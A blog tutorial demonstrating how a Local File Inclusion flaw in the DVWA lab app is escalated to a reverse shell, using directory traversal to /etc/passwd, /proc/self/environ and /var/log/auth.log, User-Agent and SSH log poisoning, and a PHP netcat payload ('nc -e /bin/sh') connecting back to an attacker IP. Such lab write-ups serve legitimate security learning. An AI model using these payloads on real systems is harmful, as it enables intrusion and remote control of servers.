From Local File Inclusion to Reverse Shell

A3h1nt · Follow
5 min read · Apr 27, 2020

What is a file inclusion vulnerability?

A file inclusion vulnerability occurs when a web application takes a file path as an input, which can lead to confidential data exposure, XSS, remote code execution, and even a reverse shell(we'll talk about this for now).

File inclusion vulnerabilities are of two types Local File Inclusion(LFI) and Remote File Inclusion(RFI), but for the sake of this blog, we'll only talk about LFI.

Local File Inclusion vulnerability allows the attacker to read system local files, perform XSS, and can even lead to code execution.

How to identify Local File Inclusion (LFI)?

whenever we spot a URL for example

http://www.test.com/?page=something.php

We can perform directory traversal to find out if the website is vulnerable to LFI or not for example we can replace "something.php" with "../../../../../etc/passwd" , which'll expose the system passwords, but since our focus in this blog is primarily on reverse shell , which is much more powerful .

We'll traverse to these two directories to achieve our goal

- /proc/self/environ ; This file contains the variables of the current environment, we will try to manipulate the value of these variables to achieve our nasty goal.
- /var/log/auth.log; This file contains authorization information logged by various processes .

Getting a Reverse Shell (Method -1)

We'll use DVWA for testing purpose .

Let's first try to find if the url is somwhere similar to

http://www.test.com/?page=something.php

we can see the url is

172.16.177.140/dvwa/vulneribilities/fi/?page=include.php

Now , we can perform directory traversal to find if the website is vulnerable to LFI or not.

Since we can see that we are able to read the /proc/self/environ, this means this website is vulnerable to LFI, now we'll see where can inject our PHP script in order to get a reverse shell.

If we read the output carefully we can see that there's a field USER_AGENT, the USER_AGENT is a request header field that contains the information about the user agent originating the request, what if we can inject something in this field?

Let's do it!

Let's start our Burp proxy , and let's analyse the request reloading this page

Now let's replace the data in user agent field with our payload .

<?

passthru("nc -e /bin/sh 172.16.177.175 69");

?>

This is our PHP payload, let me explain to you what it does

So we are using Netcat to make the target machine connect back to us, with a shell, just replace the IP with your public IP and port with your desired port number and you're good to go.

Let's listen on you machine for the incoming connections

Now we'll change the user agent field

Once we have replaced the User-Agent field with our payload let's forward it.

Here we go !

we have sucessfully exploited the website using LFI vulneribility.

Getting a Reverse Shell (Method 2)

Let's perform directory traversal again , but this time we'll traverse for the file. /var/log/auth.log.

We get alot of data here , now let's try to login using ssh , if we do everything right then the auth.log file must show our ssh log in auth.log so let's do it.

So let's try to login with any random name , here we have the name as achkar and we'll enter any random password , since our goal is just to list our log not to bypass login.

Now let's go the that same page , reload and try to find the username we tried to login with .

Beautiful , now we can confirm that the server is processing our query and also listing it in the auth.log file , now let's try to inject our payload using ssh .

We will use the same payload that we used before .

Since , we cannot pass the payload as it is , so we've encoded it using base64 cipher and later on it'll decode itself once it reaches the target .

Now let's listen for incoming connections on our machine

Now , once we reload the page

Here we have our reverse shell .

Conclusion

- File inclusion vulnerability occurs when the user can pass the file path in the input
- To find if the website is vulnerable to LFI always try directory traversal.
- Try to access different files and see which parameter you can change according to your benefit.
- I would like to end this blog by quoting 'The difference between a noob and a hacker is that a hacker has failed more than a noob has ever tried".

Web App Penetration | Inclusion Vulnerability | Infosec | Reverse Shell | Local File Inclusion

Follow

Written by A3h1nt

33 Followers · 10 Following

Infosec Enthusiast | Student

Responses (1)

See all responses